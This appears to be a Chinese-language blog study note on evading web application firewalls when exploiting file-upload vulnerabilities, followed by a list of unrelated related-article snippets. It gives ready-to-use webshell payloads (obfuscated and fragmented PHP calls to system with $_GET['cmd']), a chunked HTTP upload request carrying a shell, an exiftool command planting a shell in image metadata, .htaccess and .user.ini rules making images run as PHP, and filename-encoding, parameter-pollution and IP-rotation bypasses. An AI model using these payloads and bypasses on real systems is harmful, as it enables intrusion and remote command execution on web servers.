文件上传漏洞绕过WAF
文件上传漏洞绕过WAF学习笔记
1. WAF检测原理
WAF(Web应用防火墙)通过以下方式拦截文件上传攻击:
-
关键字匹配:检测文件名、内容中的敏感词(如
<?php
、eval
)。 -
扩展名黑名单:拦截
.php
、.jsp
等危险扩展名。 -
文件头验证:检查文件魔数(如
FFD8FF
对应JPEG)。 -
流量特征分析:检测异常请求结构(如超长文件名、畸形HTTP包)。
2. 通用绕过技术
2.1 解析差异利用
-
大小写混合:
sHell.PhP
、.Php
(部分WAF未统一大小写)。 -
特殊字符插入:
-
分号截断(IIS):
shell.asp;.jpg
→ 解析为.asp
。 -
换行符插入:
filename="shell.p\nhp"
(绕过正则匹配)。
-
-
扩展名混淆:
-
多重扩展名:
shell.php.jpg
→ 结合解析漏洞(如Apache解析最后有效扩展名)。 -
非标准扩展名:
.php7
、.phtml
、.phar
(需环境支持)。
-
2.2 编码混淆
-
URL编码:
-
shell.%70hp
(%70
=p)→ 部分WAF不解码检测。
-
-
Unicode编码:
-
shell.\u0070hp
→ 转换为shell.php
。
-
-
HTML实体编码:
-
文件名:
shell.#112;hp
(#112;
=p)。
-
-
Base64/Hex编码文件内容:
php
<?= eval(base64_decode("c3lzdGVtKCRfR0VUWydjbWQnXSk7")); ?>
2.3 分块传输(Chunked Encoding)
-
绕过原理:WAF可能不解析分块传输的文件内容。
-
示例:
http
POST /upload HTTP/1.1 Transfer-Encoding: chunked 7\r\n <?php \r\n 8\r\n system($_GET['cmd']);\r\n 0\r\n
-
工具:Burp Suite的
Chunked Coding Converter
插件。
2.4 文件内容绕过
-
图片马注入:
-
在图片元数据中插入代码(Exif注释、IPTC字段)。
bash
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
-
-
短标签与动态调用:
php
<?= `$_GET[0]`?> # 短标签 <?php $_GET['a']($_GET['b']); ?> # 动态函数调用
-
代码碎片化:
php
<?php $a = "syste"; $b = "m"; $a.$b("id"); ?>
2.5 HTTP协议特性利用
-
参数污染:
http
POST /upload?filename=shell.jpg HTTP/1.1 Content-Disposition: form-data; name="file"; filename="shell.php"
-
部分WAF优先取URL参数中的文件名。
-
-
多文件上传绕过:
-
在多个文件字段中插入恶意文件,WAF可能只检测第一个。
-
3. 针对特定WAF的绕过
3.1 云WAF(如Cloudflare、阿里云)
-
缓存污染攻击:
-
上传合法文件触发缓存,再覆盖为恶意文件。
-
-
IP轮询绕过:
-
通过大量不同IP上传,绕过频率限制。
-
3.2 ModSecurity规则绕过
-
已知规则缺陷:
-
使用非常规扩展名:
.php%20
(空格)、.php.
(末尾点)。 -
利用正则回溯限制:构造超长文件名耗尽WAF计算资源。
-
4. 高级技巧
4.1 .htaccess/.user.ini覆盖
-
.htaccess(Apache):
复制
AddType application/x-httpd-php .jpg
-
.user.ini(PHP):
复制
auto_prepend_file=shell.jpg
4.2 分片上传绕过
-
上传文件分片后合并,绕过WAF对完整文件的检测。
4.3 0day漏洞利用
-
CVE-2023-XXXX:特定WAF未修复的解析漏洞(需持续跟踪)。
相关文章:
文件上传漏洞绕过WAF
文件上传漏洞绕过WAF学习笔记 1. WAF检测原理 WAF(Web应用防火墙)通过以下方式拦截文件上传攻击: 关键字匹配:检测文件名、内容中的敏感词(如<?php、eval)。 扩展名黑名单:拦截.php、.jsp…...

[含文档+PPT+源码等]精品基于Python实现的vue3+Django计算机课程资源平台
基于Python实现的Vue3Django计算机课程资源平台的背景,可以从以下几个方面进行阐述: 一、教育行业发展背景 1. 教育资源数字化趋势 随着信息技术的快速发展,教育资源的数字化已成为不可逆转的趋势。计算机课程资源作为教育领域的重要组成部…...

Qt 开源音视频框架模块之QtAV播放器实践
Qt 开源音视频框架模块QtAV播放器实践 1 摘要 QtAV是一个基于Qt的多媒体框架,旨在简化音视频播放和处理。它是一个跨平台的库,支持多种音视频格式,并提供了一个简单易用的API来集成音视频功能。QtAV的设计目标是为Qt应用程序提供强大的音视…...
【前端】XML,XPATH,与HTML的关系
XML与HTML关系 XML(可扩展标记语言)和 HTML(超文本标记语言)是两种常见的标记语言,但它们有不同的目的和用途。它们都使用类似的标记结构(标签),但在设计上存在一些关键的差异。 XML…...

ubuntu服务器安装VASP.6.4.3
ubuntu服务器安装VASP.6.4.3 1 安装Intel OneAPI Base Toolkit和Intel OneAPI HPC Toolkit1.1 更新并安装环境变量1.2 下载Intel OneAPI Base Toolkit和Intel OneAPI HPC Toolkit安装包1.3 安装 Intel OneAPI Base Toolkit1.4 安装 Intel OneAPI HPC Toolkit1.5 添加并激活环境…...

市场加速下跌,但监管「坚冰」正在消融
作者:Techub 热点速递 撰文:Yangz,Techub News 与近日气温逐步回暖不同,自 2 月 25 日比特币跌破 9 万美元以来,加密货币市场行情一路下滑。今日 10 时 50 分左右,比特币更是跌破 8 万美元大关,…...
7.2 - 定时器之计算脉冲宽度实验
文章目录 1 实验任务2 系统框图3 软件设计 1 实验任务 本实验任务是通过CPU私有定时器来计算按键按下的时间长短。 2 系统框图 参见7.1。 3 软件设计 注意事项: 定时器是递减计数的,需要考虑StartCount<EndCount的情况。 /***********…...
Imagination DXTP GPU IP:加速游戏AI应用,全天候畅玩无阻
日前,Imagination 推出了最新产品——Imagination DXTP GPU IP,在智能手机和其他功耗受限设备上加速图形和AI工作负载时,保证全天候的电池续航。它是我们最新D系列GPU的最终产品,集成了自2022年发布以来引入的一系列功能ÿ…...

关于流水线的理解
还是不太理解,我之前一直以为,对axis总线,每一级的寄存器就像fifo一样,一级一级的分级存储最后一级需要的数据。(现在看来,我这个理解应该也是没有问题的) 如下图,一开始是在解析axi…...

采样算法二:去噪扩散隐式模型(DDIM)采样算法详解教程
参考 https://arxiv.org/pdf/2010.02502 一、背景与动机 去噪扩散隐式模型(DDIM) 是对DDPM的改进,旨在加速采样过程同时保持生成质量。DDPM虽然生成效果优异,但其采样需迭代数百至数千次,效率较低。DDIM通过以下关键…...
北京大学DeepSeek提示词工程与落地场景(PDF无套路免费下载)
近年来,大模型技术飞速发展,但许多用户发现:即使使用同一款 AI 工具,效果也可能天差地别——有人能用 AI 快速生成精准方案,有人却只能得到笼统回答。这背后的关键差异,在于提示词工程的应用能力。 北京大…...
Hutool - POI:让 Excel 与 Word 操作变得轻而易举
各位开发者们,在日常的 Java 开发工作里,处理 Excel 和 Word 文件是相当常见的需求。无论是从 Excel 里读取数据进行分析,还是将数据写入 Excel 生成报表,亦或是对 Word 文档进行内容编辑,传统的 Apache POI 库虽然功能…...

IDEAPyCharm安装ProxyAI(CodeGPT)插件连接DeepSeek-R1教程
背景:最近DeepSeek比较火嘛,然后在githup上也看到了GitHub Copilot,就想着现在AI的准确率已经可以提高工作效率了。所以从网上找了一些编程插件,发现Proxy支持的模型比较多,通用性和适配性比较好。所以本文记录一下pro…...
Iceberg Catalog
使用限制 支持 Iceberg V1/V2 表格式。支持 Position Delete。2.1.3 版本开始支持 Equality Delete。支持 Parquet 文件格式2.1.3 版本开始支持 ORC 文件格式。 创建 Catalog 基于 Hive Metastore 创建 Catalog 和 Hive Catalog 基本一致,这里仅给出简单示…...
2025年2月个人工作生活总结
本文为 2025年2月工作生活总结。 工作记录 AI浪潮 AI非常火,春节至今,到处充斥着大量和AI、DeepSeek有关的新闻。领导也一再强调要用AI,甚至纳入到新一年的考核里。再往上,大领导开会的新闻稿里也作出要求,不能停下脚…...
vscode java环境中文乱码的问题
先说我的结论: 由于我的系统是windows的,所以vscode使用的是默认gbk的编码进行的。 但是我的目的是全部都使用utf-8,因为我的程序始终是要去linux上去运行的,总不能在本地是好的,然后到服务器上就不行了吧,…...

Java数据结构第十五期:走进二叉树的奇妙世界(四)
专栏:Java数据结构秘籍 个人主页:手握风云 目录 一、二叉树OJ练习题(续) 1.1. 二叉树的层序遍历 1.2. 二叉树的最近公共祖先 1.3. 从前序与中序遍历序列构造二叉树 1.4. 从中序与后序遍历序列构造二叉树 1.5. 根据二叉树创建…...
【MySQL】CAST()在MySQL中的用法以及其他常用的数据类型转换函数
1. cast() CAST() 在 MySQL 中用于将一个表达式的类型转换为另一个类型。这在处理不同类型的数据时非常有用,比如将字符串转换为数字,或者将浮点数转换为整数等。 1.1 CAST() 函数的基本语法 CAST() 函数的基本语法如下: CAST(expression…...

使用Truffle、Ganache、MetaMask、Vue+Web3完成的一个简单区块链项目
文章目录 概要初始化Truffle项目创建编写合约编译合约配置Ganache修改truffle-config.js文件编写迁移文件部署合约使用Truffle 控制台使用MetaMask和VueWeb3与链交互 概要 使用Truffle、Ganache、MetaMask、VueWeb3完成的一个简单区块链项目。 初始化Truffle项目 安装好truf…...

初出茅庐的小李博客之按键驱动库使用
驱动库介绍 源码地址:https://github.com/jiejieTop/ButtonDrive 使用只需3步,创建按键,按键事件与回调处理函数链接映射,周期检查按键,支持单双击、连按、长按;采用回调处理按键事件(自定义消…...

UE5 学习系列(二)用户操作界面及介绍
这篇博客是 UE5 学习系列博客的第二篇,在第一篇的基础上展开这篇内容。博客参考的 B 站视频资料和第一篇的链接如下: 【Note】:如果你已经完成安装等操作,可以只执行第一篇博客中 2. 新建一个空白游戏项目 章节操作,重…...

XCTF-web-easyupload
试了试php,php7,pht,phtml等,都没有用 尝试.user.ini 抓包修改将.user.ini修改为jpg图片 在上传一个123.jpg 用蚁剑连接,得到flag...
内存分配函数malloc kmalloc vmalloc
内存分配函数malloc kmalloc vmalloc malloc实现步骤: 1)请求大小调整:首先,malloc 需要调整用户请求的大小,以适应内部数据结构(例如,可能需要存储额外的元数据)。通常,这包括对齐调整,确保分配的内存地址满足特定硬件要求(如对齐到8字节或16字节边界)。 2)空闲…...

K8S认证|CKS题库+答案| 11. AppArmor
目录 11. AppArmor 免费获取并激活 CKA_v1.31_模拟系统 题目 开始操作: 1)、切换集群 2)、切换节点 3)、切换到 apparmor 的目录 4)、执行 apparmor 策略模块 5)、修改 pod 文件 6)、…...

前端导出带有合并单元格的列表
// 导出async function exportExcel(fileName "共识调整.xlsx") {// 所有数据const exportData await getAllMainData();// 表头内容let fitstTitleList [];const secondTitleList [];allColumns.value.forEach(column > {if (!column.children) {fitstTitleL…...

基于当前项目通过npm包形式暴露公共组件
1.package.sjon文件配置 其中xh-flowable就是暴露出去的npm包名 2.创建tpyes文件夹,并新增内容 3.创建package文件夹...
鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个生活电费的缴纳和查询小程序
一、项目初始化与配置 1. 创建项目 ohpm init harmony/utility-payment-app 2. 配置权限 // module.json5 {"requestPermissions": [{"name": "ohos.permission.INTERNET"},{"name": "ohos.permission.GET_NETWORK_INFO"…...
实现弹窗随键盘上移居中
实现弹窗随键盘上移的核心思路 在Android中,可以通过监听键盘的显示和隐藏事件,动态调整弹窗的位置。关键点在于获取键盘高度,并计算剩余屏幕空间以重新定位弹窗。 // 在Activity或Fragment中设置键盘监听 val rootView findViewById<V…...

华为云Flexus+DeepSeek征文|DeepSeek-V3/R1 商用服务开通全流程与本地部署搭建
华为云FlexusDeepSeek征文|DeepSeek-V3/R1 商用服务开通全流程与本地部署搭建 前言 如今大模型其性能出色,华为云 ModelArts Studio_MaaS大模型即服务平台华为云内置了大模型,能助力我们轻松驾驭 DeepSeek-V3/R1,本文中将分享如何…...

3-11单元格区域边界定位(End属性)学习笔记
返回一个Range 对象,只读。该对象代表包含源区域的区域上端下端左端右端的最后一个单元格。等同于按键 End 向上键(End(xlUp))、End向下键(End(xlDown))、End向左键(End(xlToLeft)End向右键(End(xlToRight)) 注意:它移动的位置必须是相连的有内容的单元格…...